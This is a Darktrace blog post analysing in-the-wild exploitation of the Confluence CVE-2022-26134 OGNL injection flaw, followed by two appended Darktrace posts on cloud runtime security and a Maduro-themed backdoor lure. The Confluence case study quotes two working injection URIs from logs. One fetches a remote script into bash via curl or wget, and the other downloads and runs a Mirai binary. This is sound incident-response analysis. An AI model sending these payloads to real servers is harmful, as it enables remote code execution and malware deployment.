June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Jun 2022

Summary

CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

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Introduction

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Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.^[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.^[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

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Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.^[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.^[4]

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Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.^[2]

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Case study: European media organization

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The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.^[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.^[6]

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On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).^[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

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Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.^[9]

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During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.^[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

*Figure 3: VirusTotal confirming evidence of Kinsing shell download*

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More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

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This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.^[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

*Figure 6: Model breach snapshot highlighting new user agent and Mirai URI*

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/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

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Darktrace coverage and guidance

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From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

*Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event*

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On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

Antigena / Network / External Threat / Antigena Suspicious Activity Block

Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour

Antigena / Network / External Threat / Antigena Suspicious File Block

Block connections to 194.38.20[.]166 port 80 for two hours

Antigena / Network / External Threat / Antigena Crypto Currency Mining Block

Block connections to 176.113.81[.]186 port 80 for 24 hours

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Darktrace customers can also maximise the value of this response by taking the following steps:

Ensure Antigena Network is deployed.
Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

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Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
For those unable to update, temporary mitigations can be found in the formal security advisory.
Ensure Internet-facing servers are up-to-date and have secure compliance practices.

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Appendix

Darktrace model detections (for the discussed incident)

Anomalous Connection / New User Agent to IP Without Hostname
Anomalous File / EXE from Rare External Location
Anomalous File / Script from Rare External
Anomalous Server Activity / Possible Denial of Service Activity
Anomalous Server Activity / Rare External from Server
Compromise / Crypto Currency Mining Activity
Compromise / High Volume of Connections with Beacon Score
Compromise / Large Number of Suspicious Failed Connections
Compromise / SSL Beaconing to Rare Destination
Device / New User Agent

IoCs

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Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

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Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Inside the SOC

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Malware Research Lead

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

Blog

Cloud

January 13, 2026

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

Introduction: Shifting focus from prevention to runtime

Cloud security has spent the last decade focused on prevention; tightening configurations, scanning for vulnerabilities, and enforcing best practices through Cloud Native Application Protection Platforms (CNAPP). These capabilities remain essential, but they are not where cloud attacks happen.

Attacks happen at runtime: the dynamic, ephemeral, constantly changing execution layer where applications run, permissions are granted, identities act, and workloads communicate. This is also the layer where defenders traditionally have the least visibility and the least time to respond.

Today’s threat landscape demands a fundamental shift. Reducing cloud risk now requires moving beyond static posture and CNAPP only approaches and embracing realtime behavioral detection across workloads and identities, paired with the ability to automatically preserve forensic evidence. Defenders need a continuous, real-time understanding of what “normal” looks like in their cloud environments, and AI capable of processing massive data streams to surface deviations that signal emerging attacker behavior.

Runtime: The layer where attacks happen

Runtime is the cloud in motion — containers starting and stopping, serverless functions being called, IAM roles being assumed, workloads auto scaling, and data flowing across hundreds of services. It’s also where attackers:

Weaponize stolen credentials
Escalate privileges
Pivot programmatically
Deploy malicious compute
Manipulate or exfiltrate data

The challenge is complex: runtime evidence is ephemeral. Containers vanish; critical process data disappears in seconds. By the time a human analyst begins investigating, the detail required to understand and respond to the alert, often is already gone. This volatility makes runtime the hardest layer to monitor, and the most important one to secure.

What Darktrace / CLOUD Brings to Runtime Defence

Darktrace / CLOUD is purpose-built for the cloud execution layer. It unifies the capabilities required to detect, contain, and understand attacks as they unfold, not hours or days later. Four elements define its value:

1. Behavioral, real-time detection

The platform learns normal activity across cloud services, identities, workloads, and data flows, then surfaces anomalies that signify real attacker behavior, even when no signature exists.

2. Automated forensic level artifact collection

The moment Darktrace detects a threat, it can automatically capture volatile forensic evidence; disk state, memory, logs, and process context, including from ephemeral resources. This preserves the truth of what happened before workloads terminate and evidence disappears.

3. AI-led investigation

Cyber AI Analyst assembles cloud behaviors into a coherent incident story, correlating identity activity, network flows, and Cloud workload behavior. Analysts no longer need to pivot across dashboards or reconstruct timelines manually.

4. Live architectural awareness

Darktrace continuously maps your cloud environment as it operates; including services, identities, connectivity, and data pathways. This real-time visibility makes anomalies clearer and investigations dramatically faster.

Together, these capabilities form a runtime-first security model.

Why CNAPP alone isn’t enough

CNAPP platforms excel at pre deployment checks all the way down to developer workstations, identifying misconfigurations, concerning permission combinations, vulnerable images, and risky infrastructure choices. But CNAPP’s breadth is also its limitation. CNAPP is about posture. Runtime defense is about behavior.

CNAPP tells you what could go wrong; runtime detection highlights what is going wrong right now.

It cannot preserve ephemeral evidence, correlate active behaviors across domains, or contain unfolding attacks with the precision and speed required during a real incident. Prevention remains essential, but prevention alone cannot stop an attacker who is already operating inside your cloud environment.

Real-world AWS Scenario: Why Runtime Monitoring Wins

A recent incident detected by Darktrace / CLOUD highlights how cloud compromises unfold, and why runtime visibility is non-negotiable. Each step below reflects detections that occur only when monitoring behavior in real time.

1. External Credential Use

Detection: Unusual external source for credential use: An attacker logs into a cloud account from a never-before-seen location, the earliest sign of account takeover.

2. AWS CLI Pivot

Detection: Unusual CLI activity: The attacker switches to programmatic access, issuing commands from a suspicious host to gain automation and stealth.

3. Credential Manipulation

Detection: Rare password reset: They reset or assign new passwords to establish persistence and bypass existing security controls.

4. Cloud Reconnaissance

Detection: Burst of resource discovery: The attacker enumerates buckets, roles, and services to map high value assets and plan next steps.

5. Privilege Escalation

Detection: Anomalous IAM update: Unauthorized policy updates or role changes grant the attacker elevated access or a backdoor.

6. Malicious Compute Deployment

Detection: Unusual EC2/Lambda/ECS creation: The attacker deploys compute resources for mining, lateral movement, or staging further tools.

7. Data Access or Tampering

Detection: Unusual S3 modifications: They alter S3 permissions or objects, often a prelude to data exfiltration or corruption.

Only some of these actions would appear in a posture scan, crucially after the fact.
Every one of these runtime detections is visible only through real-time behavioral monitoring while the attack is in progress.

The future of cloud security Is runtime-first

Cloud defense can no longer revolve solely around prevention. Modern attacks unfold in runtime, across a fast-changing mesh of workloads, services, and — critically — identities. To reduce risk, organizations must be able to detect, understand, and contain malicious activity as it happens, before ephemeral evidence disappears and before attacker's pivot across identity layers.

Darktrace / CLOUD delivers this shift by turning runtime, the most volatile and consequential layer in the cloud, into a fully defensible control point through unified visibility across behavior, workloads, and identities. It does this by providing:

Real-time behavior detection across workloads and identity activity ‍
Autonomous response actions for rapid containment ‍
Automated forensic level artifact preservation the moment events occur ‍
AI-driven investigation that separates weak signals from true attacker patterns ‍
Live cloud environment insight to understand context and impact instantly

Cloud security must evolve from securing what might go wrong to continuously understanding what is happening; in runtime, across identities, and at the speed attackers operate. Unifying runtime and identity visibility is how defenders regain the advantage.

[related-resource]

About the author

Adam Stevens

Senior Director of Product, Cloud | Darktrace

Blog

Network

January 12, 2026

Maduro Arrest Used as a Lure to Deliver Backdoor

maduro arrest used as lure to deliver backdoor

Introduction

Threat actors frequently exploit ongoing world events to trick users into opening and executing malicious files. Darktrace security researchers recently identified a threat group using reports around the arrest of Venezuelan President Nicolàs Maduro on January 3, 2025, as a lure to deliver backdoor malware.

Technical Analysis

While the exact initial access method is unknown, it is likely that a spear-phishing email was sent to victims, containing a zip archive titled “US now deciding what’s next for Venezuela.zip”. This file included an executable named “Maduro to be taken to New York.exe” and a dynamic-link library (DLL), “kugou.dll”.

The binary “Maduro to be taken to New York.exe” is a legitimate binary (albeit with an expired signature) related to KuGou, a Chinese streaming platform. Its function is to load the DLL “kugou.dll” via DLL search order. In this instance, the expected DLL has been replaced with a malicious one with the same name to load it.

Once the DLL is executed, a directory is created C:\ProgramData\Technology360NB with the DLL copied into the directory along with the executable, renamed as “DataTechnology.exe”. A registry key is created for persistence in “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Lite360” to run DataTechnology.exe --DATA on log on.

Figure 2. Registry key added for persistence.

Figure 3: Folder “Technology360NB” created.

During execution, a dialog box appears with the caption “Please restart your computer and try again, or contact the original author.”

Figure 4. Message box prompting user to restart.

Prompting the user to restart triggers the malware to run from the registry key with the command --DATA, and if the user doesn't, a forced restart is triggered. Once the system is reset, the malware begins periodic TLS connections to the command-and-control (C2) server 172.81.60[.]97 on port 443. While the encrypted traffic prevents direct inspection of commands or data, the regular beaconing and response traffic strongly imply that the malware has the ability to poll a remote server for instructions, configuration, or tasking.

Conclusion

Threat groups have long used geopolitical issues and other high-profile events to make malicious content appear more credible or urgent. Since the onset of the war in Ukraine, organizations have been repeatedly targeted with spear-phishing emails using subject lines related to the ongoing conflict, including references to prisoners of war [1]. Similarly, the Chinese threat group Mustang Panda frequently uses this tactic to deploy backdoors, using lures related to the Ukrainian war, conventions on Tibet [2], the South China Sea [3], and Taiwan [4].

The activity described in this blog shares similarities with previous Mustang Panda campaigns, including the use of a current-events archive, a directory created in ProgramData with a legitimate executable used to load a malicious DLL and run registry keys used for persistence. While there is an overlap of tactics, techniques and procedures (TTPs), there is insufficient information available to confidently attribute this activity to a specific threat group. Users should remain vigilant, especially when opening email attachments.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

172.81.60[.]97
8f81ce8ca6cdbc7d7eb10f4da5f470c6 - US now deciding what's next for Venezuela.zip
722bcd4b14aac3395f8a073050b9a578 - Maduro to be taken to New York.exe
aea6f6edbbbb0ab0f22568dcb503d731 - kugou.dll

References

[1] https://cert.gov.ua/article/6280422

[2] https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor

[3] https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan

[4] https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan

About the author

Tara Gould

Malware Research Lead

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Check out this article by Darktrace: Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Summary

Introduction

Case study: European media organization

Darktrace coverage and guidance

Wider recommendations for CVE-2022-26134

Appendix

Darktrace model detections (for the discussed incident)

IoCs

Footnotes

Maduro Arrest Used as a Lure to Deliver Backdoor

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

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Blog

Cloud

January 13, 2026

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

Introduction: Shifting focus from prevention to runtime

Runtime: The layer where attacks happen

What Darktrace / CLOUD Brings to Runtime Defence

1. Behavioral, real-time detection

2. Automated forensic level artifact collection

3. AI-led investigation

4. Live architectural awareness

Why CNAPP alone isn’t enough

Real-world AWS Scenario: Why Runtime Monitoring Wins

1. External Credential Use

2. AWS CLI Pivot

3. Credential Manipulation

4. Cloud Reconnaissance

5. Privilege Escalation

6. Malicious Compute Deployment

7. Data Access or Tampering

The future of cloud security Is runtime-first

Blog

Network

January 12, 2026

Maduro Arrest Used as a Lure to Deliver Backdoor

Introduction

Technical Analysis

Conclusion

Indicators of Compromise (IoCs)

References